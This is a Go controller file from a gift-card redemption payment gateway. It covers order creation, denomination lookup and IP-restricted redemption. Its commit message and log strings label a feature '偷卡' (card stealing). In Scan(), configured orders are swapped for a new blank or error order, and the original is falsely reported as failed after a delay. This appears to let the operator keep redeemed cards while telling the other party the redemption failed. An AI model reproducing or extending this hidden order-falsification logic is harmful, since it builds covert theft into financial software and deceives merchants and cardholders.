- 添加 debug 模式配置,用于控制数据库查询时是否开启调试 -修复获取偷卡记录时的状态过滤逻辑,支持多个状态 -优化创建隐藏订单的流程,先创建新订单再更新原订单- 新增系统配置字典模型,用于获取偷卡规则状态- 移除不必要的日志输出,简化代码
427 lines
13 KiB
Go
427 lines
13 KiB
Go
package gateway
|
||
|
||
import (
|
||
"context"
|
||
"encoding/json"
|
||
"errors"
|
||
"fmt"
|
||
"gateway/internal/config"
|
||
"gateway/internal/dto"
|
||
"gateway/internal/entities/backend"
|
||
"gateway/internal/entities/supplier"
|
||
"gateway/internal/entities/supplier/t_mall_game"
|
||
"gateway/internal/entities/supplier/third_party"
|
||
"gateway/internal/models/merchant"
|
||
"gateway/internal/models/merchant_deploy"
|
||
"gateway/internal/models/order"
|
||
"gateway/internal/models/road"
|
||
"gateway/internal/schema/request"
|
||
"gateway/internal/schema/response"
|
||
"gateway/internal/service"
|
||
"gateway/internal/utils"
|
||
"github.com/beego/beego/v2/core/logs"
|
||
"github.com/beego/beego/v2/core/validation"
|
||
"github.com/bytedance/gopkg/util/gopool"
|
||
"github.com/duke-git/lancet/v2/convertor"
|
||
"github.com/duke-git/lancet/v2/structs"
|
||
"strconv"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
var (
|
||
delayPool = gopool.NewPool("delayHandler", 20, gopool.NewConfig())
|
||
)
|
||
|
||
type ScanController struct {
|
||
BaseGateway
|
||
}
|
||
|
||
// Scan 处理扫码的请求
|
||
func (c *ScanController) Scan() {
|
||
// 获取所有请求参数
|
||
p := c.PayPrepare()
|
||
if p.Code == -1 {
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
// 签名验证
|
||
paySecret := p.MerchantInfo.MerchantSecret
|
||
if !utils.Md5MFVerify(p.Params, paySecret) && !utils.Md5Verify(p.Params, paySecret) {
|
||
p.Code = -1
|
||
p.Msg = "签名异常"
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
p = service.ChooseRoadV2(p)
|
||
if p.Code == -1 {
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
mt := merchant_deploy.GetMerchantDeployByUidAndRoadUid(p.MerchantInfo.MerchantUid, p.RoadInfo.RoadUid)
|
||
if mt.Id == 0 {
|
||
p.Msg = "当前用户没有开通该通道"
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
orderPrice, err := strconv.ParseFloat(convertor.ToString(p.Params["orderPrice"]), 64)
|
||
if err != nil {
|
||
p.Code = -1
|
||
p.Msg = fmt.Sprintf("订单金额转换失败:%v", err.Error())
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
pm, err := mt.GetShowMMValue(orderPrice)
|
||
if err != nil {
|
||
p.Code = -1
|
||
p.Msg = fmt.Sprintf("获取展示比例失败:%v", err.Error())
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
p.Params["exValue"], err = service.CompleteRedeemExValue(convertor.ToString(p.Params["exValue"]), strconv.FormatFloat(pm.ShowLabel, 'f', 0, 64))
|
||
if err != nil {
|
||
p.Code = -1
|
||
p.Msg = fmt.Sprintf("订单金额转换失败:%v", err.Error())
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
|
||
// TODO: 生成订单记录
|
||
orderInfo, _, err := service.GenerateRecord(p)
|
||
if err != nil {
|
||
p.Msg = fmt.Sprintf("生成订单失败:%v", err.Error())
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
if p.Code == -1 {
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
|
||
hiddenCfg := service.GetOrderHidden(&orderInfo)
|
||
if hiddenCfg != nil {
|
||
//1. 新的空白记录
|
||
if hiddenCfg.Strategy == 1 {
|
||
// 创建一个新的空白记录
|
||
newBankOrderId, err2 := service.CreateHiddenBlankOrder(&orderInfo, int64(hiddenCfg.DelayDuration))
|
||
if err2 != nil {
|
||
logs.Info("创建订单失败【偷卡】:%v", err2.Error())
|
||
}
|
||
//添加订单关联
|
||
if err2 = service.CreateRelateHideOrderRecord(newBankOrderId, &orderInfo, hiddenCfg); err2 != nil {
|
||
logs.Info("添加订单关联失败【偷卡】:%v", err2.Error())
|
||
}
|
||
//错误订单回调上游
|
||
delayPool.Go(func() {
|
||
time.Sleep(time.Duration(hiddenCfg.DelayDuration) * time.Second)
|
||
service.SolvePayFail(orderInfo.BankOrderId, orderInfo.BankTransId)
|
||
})
|
||
orderInfo.BankOrderId = newBankOrderId
|
||
}
|
||
//2.新的错误记录
|
||
if hiddenCfg.Strategy == 2 {
|
||
newBankOrderId, err2 := service.CreateHiddenErrorOrder(&orderInfo, int64(hiddenCfg.DelayDuration))
|
||
if err2 != nil {
|
||
logs.Info("创建订单失败【偷卡】:%v", err2.Error())
|
||
}
|
||
//添加订单关联
|
||
if err2 = service.CreateRelateHideOrderRecord(newBankOrderId, &orderInfo, hiddenCfg); err2 != nil {
|
||
logs.Info("添加订单关联失败【偷卡】:%v", err2.Error())
|
||
}
|
||
//错误订单回调上游
|
||
delayPool.Go(func() {
|
||
time.Sleep(time.Duration(hiddenCfg.DelayDuration) * time.Second)
|
||
service.SolvePayFail(orderInfo.BankOrderId, orderInfo.BankTransId)
|
||
})
|
||
orderInfo.BankOrderId = newBankOrderId
|
||
}
|
||
}
|
||
|
||
logs.Info("请求订单信息,订单信息:%+v", orderInfo)
|
||
cdata := supplier.RedeemCardInfo{}
|
||
err = json.Unmarshal([]byte(orderInfo.ExValue), &cdata)
|
||
if err != nil {
|
||
logs.Error("格式化数据失败", orderInfo.ExValue)
|
||
p.Msg = fmt.Sprintf("格式化数据失败:%v", orderInfo.ExValue)
|
||
c.SolveFailJSON(p)
|
||
}
|
||
isAllowed, err := backend.GetIPIsRestricted(p.ClientIP, mt.Id, orderInfo.BankOrderId, cdata.Data, convertor.ToString(p.Params["deviceId"]))
|
||
order.UpdateIpRestricted(orderInfo.BankOrderId, isAllowed)
|
||
|
||
logs.Info("IP是否允许:%v", isAllowed)
|
||
if !isAllowed {
|
||
logs.Info("IP被限制,无法兑换", p.ClientIP)
|
||
c.Data["json"] = response.CommonErr(-1, errors.New("提交失败").Error())
|
||
service.SolvePayFail(orderInfo.BankOrderId, "")
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
logs.Info("获取商户部署信息:%+v", mt)
|
||
if mt.AutoSettle == config.NO {
|
||
params := map[string]any{
|
||
"orderNo": orderInfo.BankOrderId,
|
||
"orderPrice": strconv.FormatFloat(orderInfo.OrderAmount, 'f', 2, 64),
|
||
"statusCode": "00",
|
||
}
|
||
sign := utils.GetMD5SignMF(params, p.MerchantInfo.MerchantSecret)
|
||
c.Data["json"] = response.ScanSuccessData{
|
||
OrderNo: orderInfo.BankOrderId,
|
||
OrderPrice: strconv.FormatFloat(orderInfo.OrderAmount, 'f', 2, 64),
|
||
StatusCode: "00",
|
||
Sign: sign,
|
||
Msg: "请求成功,请等待兑换!",
|
||
Code: 0,
|
||
PayUrl: "",
|
||
}
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
// 获取到对应的上游
|
||
supplierCode := p.RoadInfo.ProductUid
|
||
supplierByCode := third_party.GetPaySupplierByCode(supplierCode)
|
||
if supplierByCode == nil {
|
||
// 插入处理失败的动账通知
|
||
service.SolvePayFail(orderInfo.BankOrderId, "")
|
||
logs.Error("获取上游渠道失败,请联系客服", supplierCode)
|
||
err = errors.New("获取上游渠道失败,请联系客服")
|
||
c.Data["json"] = response.CommonErr(-1, err.Error())
|
||
_ = c.ServeJSON()
|
||
c.StopRun()
|
||
return
|
||
}
|
||
logs.Info("获取供应商信息:%+v", supplierCode)
|
||
scanData := supplierByCode.Scan(orderInfo, p.RoadInfo, p.MerchantInfo)
|
||
order.InsertCardReturnData(scanData.BankNo, scanData.ReturnData)
|
||
if scanData.Status == "00" {
|
||
scanSuccessData := service.GenerateSuccessData(scanData, p)
|
||
c.Data["json"] = scanSuccessData
|
||
_ = c.ServeJSON()
|
||
return
|
||
} else {
|
||
// 插入处理失败的动账通知
|
||
service.SolvePayFail(orderInfo.BankOrderId, "")
|
||
p.Msg = scanData.Msg
|
||
p.Code = -1
|
||
c.SolveFailJSON(p)
|
||
return
|
||
}
|
||
}
|
||
|
||
// SolveFailJSON 处理错误的返回
|
||
func (c *ScanController) SolveFailJSON(p *response.PayBaseResp) {
|
||
c.Data["json"] = response.ScanFailData{
|
||
StatusCode: "01",
|
||
PayKey: convertor.ToString(p.Params["payKey"]),
|
||
Msg: p.Msg,
|
||
Code: -1,
|
||
}
|
||
_ = c.ServeJSON()
|
||
c.StopRun()
|
||
}
|
||
|
||
func (c *ScanController) GetAllowedMM() {
|
||
payKey := strings.TrimSpace(c.GetString("payKey"))
|
||
showMMValue, err := c.GetFloat("showMMValue")
|
||
productCode := strings.TrimSpace(c.GetString("productCode"))
|
||
if payKey == "" || showMMValue == 0 || productCode == "" {
|
||
res := response.CommonErr(-1, "获取面额失败,参数缺失")
|
||
c.Data["json"] = res
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
if err != nil {
|
||
c.Data["json"] = response.CommonErr(-1, err.Error())
|
||
_ = c.ServeJSON()
|
||
c.StopRun()
|
||
}
|
||
|
||
merchantInfo, err := service.GetMerchantInfoByPayKey(payKey)
|
||
if err != nil || merchantInfo.Id == 0 {
|
||
c.Data["json"] = response.CommonErr(-1, "获取面额失败,获取商户信息出错")
|
||
_ = c.ServeJSON()
|
||
c.StopRun()
|
||
}
|
||
|
||
merchantDeployInfo := service.GerMerchantDeployInfoByUidAndProductCode(merchantInfo.MerchantUid, productCode)
|
||
if merchantDeployInfo.Id == 0 {
|
||
res := response.CommonErr(-1, "获取面额失败,当前通道不存在")
|
||
c.Data["json"] = res
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
profitMarginList, err := merchantDeployInfo.GetFactMMValue(showMMValue)
|
||
if err != nil {
|
||
c.Data["json"] = response.CommonErr(-1, err.Error())
|
||
_ = c.ServeJSON()
|
||
c.StopRun()
|
||
}
|
||
|
||
type profitMarginStruct struct {
|
||
Sort int `json:"sort" description:"排序"`
|
||
FactLabel float64 `json:"factLabel" description:"实际面值"`
|
||
ShowLabel float64 `json:"showLabel" description:"展示面额"`
|
||
PlatformLabel string `json:"platformLabel" description:"平台"`
|
||
IsLinkSingle bool `json:"isLinkSingle" description:"链接是否单独放置"`
|
||
LinkID string `json:"linkID" description:"链接"`
|
||
}
|
||
logs.Info("当前请求面额数据:%+v", profitMarginList)
|
||
resData := make([]*profitMarginStruct, 0)
|
||
for _, v := range profitMarginList {
|
||
if v.ShowLabel != 0 || v.FactLabel != 0 {
|
||
resData = append(resData, &profitMarginStruct{
|
||
FactLabel: v.FactLabel,
|
||
ShowLabel: v.ShowLabel,
|
||
PlatformLabel: v.PlatformLabel,
|
||
IsLinkSingle: v.IsLinkSingle,
|
||
LinkID: v.LinkID,
|
||
Sort: v.Sort,
|
||
})
|
||
}
|
||
}
|
||
logs.Info("转换后的面额数据:%+v", resData)
|
||
c.Data["json"] = response.Ok(resData)
|
||
_ = c.ServeJSON()
|
||
}
|
||
|
||
// CreateOrder 创建订单
|
||
func (c *ScanController) CreateOrder() {
|
||
createdOrder := request.CreatedOrder{}
|
||
_ = c.Bind(&createdOrder)
|
||
valid := validation.Validation{}
|
||
b, err := valid.Valid(&createdOrder)
|
||
if err != nil || !b {
|
||
logs.Error("创建订单错误:", err)
|
||
res := response.CommonErr(-1, "创建订单失败,参数错误")
|
||
c.Data["json"] = res
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
merchantInfo := merchant.GetMerchantByPasskey(createdOrder.PayKey)
|
||
if merchantInfo.Id == 0 {
|
||
logs.Error("创建订单错误:", err)
|
||
c.Data["json"] = response.CommonErr(-1, "创建订单错误")
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
if !utils.Md5MFVerify(createdOrder.ToMap(), merchantInfo.MerchantSecret) && !utils.Md5Verify(createdOrder.ToMap(), merchantInfo.MerchantSecret) {
|
||
logs.Info("创建订单错误,sign校验失败", err)
|
||
c.Data["json"] = response.CommonErr(-1, "sign验证错误")
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
orderInfo := order.GetOrderByMerchantOrderId(createdOrder.OrderNo)
|
||
roadInfo := road.GetRoadInfoByProductCode(createdOrder.ProductCode)
|
||
if orderInfo.Id != 0 {
|
||
res := response.Ok(struct {
|
||
ProductCode string `json:"productCode"`
|
||
PaymentName string `json:"paymentName"`
|
||
TransactionType string `json:"transactionType"`
|
||
PayUrl string `json:"payUrl"`
|
||
MerchantOrderNo string `json:"merchantOrderNo"`
|
||
OrderNo string `json:"orderNo"`
|
||
}{
|
||
ProductCode: createdOrder.ProductCode,
|
||
PaymentName: roadInfo.PaymentHtml,
|
||
TransactionType: roadInfo.TransactionType,
|
||
PayUrl: orderInfo.PayUrl,
|
||
OrderNo: orderInfo.BankOrderId,
|
||
MerchantOrderNo: createdOrder.OrderNo,
|
||
})
|
||
c.Data["json"] = res
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
// 获取到对应的上游
|
||
supplierCode := roadInfo.ProductUid
|
||
supplierByCode := third_party.GetPaySupplierByCode(supplierCode)
|
||
if supplierByCode == nil {
|
||
// 插入处理失败的动账通知
|
||
logs.Error("获取上游渠道失败,请联系客服", supplierCode)
|
||
err = errors.New("获取上游渠道失败,请联系客服")
|
||
c.Data["json"] = response.CommonErr(-1, err.Error())
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
|
||
// 创建订单记录
|
||
orderInfo, err = service.CreateOrderInfoAndOrderProfitInfo(createdOrder, merchantInfo)
|
||
if err != nil {
|
||
res := response.CommonErr(-1, "创建订单失败")
|
||
logs.Info("创建订单错误:", err)
|
||
c.Data["json"] = res
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
logs.Info("获取供应商信息:%+v", supplierCode)
|
||
|
||
payUrl := ""
|
||
bankTransId := ""
|
||
//TODO: 区分自有渠道和三方渠道
|
||
if supplierByCode.HasDependencyHTML() {
|
||
scanData := supplierByCode.Scan(orderInfo, roadInfo, merchantInfo)
|
||
payUrl = scanData.PayUrl
|
||
bankTransId = scanData.UpStreamOrderNo
|
||
} else {
|
||
orderParams := dto.Params{
|
||
GeneratedTime: time.Now().Unix(),
|
||
Duration: createdOrder.Duration,
|
||
PayKey: createdOrder.PayKey,
|
||
OrderNo: createdOrder.OrderNo,
|
||
ProductCode: createdOrder.ProductCode,
|
||
ShowMMValue: createdOrder.OrderPrice,
|
||
NotifyUrl: createdOrder.NotifyUrl,
|
||
}
|
||
payUrl = config.GetConfig().ShopAddr() + "?sign=" + orderParams.Encrypt()
|
||
}
|
||
|
||
if err = order.UpdatePayUrlAndTime(orderInfo.BankOrderId, payUrl, bankTransId, ""); err != nil {
|
||
logs.Error("更新订单支付链接失败:", err)
|
||
c.Data["json"] = response.CommonErr(-1, "更新订单支付链接失败")
|
||
return
|
||
}
|
||
|
||
resp := struct {
|
||
ProductCode string `json:"productCode"`
|
||
PaymentName string `json:"paymentName"`
|
||
TransactionType string `json:"transactionType"`
|
||
PayUrl string `json:"PayUrl"`
|
||
OrderNo string `json:"OrderNo"`
|
||
MerchantOrderNo string `json:"MerchantOrderNo"`
|
||
Sign string `json:"sign"`
|
||
}{
|
||
ProductCode: createdOrder.ProductCode,
|
||
MerchantOrderNo: createdOrder.OrderNo,
|
||
PaymentName: roadInfo.PaymentHtml,
|
||
TransactionType: roadInfo.TransactionType,
|
||
PayUrl: payUrl,
|
||
OrderNo: orderInfo.BankOrderId,
|
||
Sign: "",
|
||
}
|
||
respMap, err := structs.New(resp).ToMap()
|
||
if err != nil {
|
||
logs.Info("创建订单错误:", err)
|
||
c.Data["json"] = response.CommonErr(-1, err.Error())
|
||
_ = c.ServeJSON()
|
||
return
|
||
}
|
||
resp.Sign = utils.GetMD5SignMF(respMap, merchantInfo.MerchantSecret)
|
||
c.Data["json"] = response.Ok(resp)
|
||
_ = c.ServeJSON()
|
||
}
|
||
|
||
func (c *ScanController) QueryAccountInfo() {
|
||
accountInfo := request.ThirdPartyAccountInfo{}
|
||
channelName := c.Ctx.Input.Param("channel")
|
||
if channelName == "TMallGame" {
|
||
_ = c.BindJSON(&accountInfo)
|
||
err := t_mall_game.QueryTMallGameAccountInfo(context.Background(), request.ThirdPartyAccountInfo{})
|
||
_ = err
|
||
}
|
||
return
|
||
}
|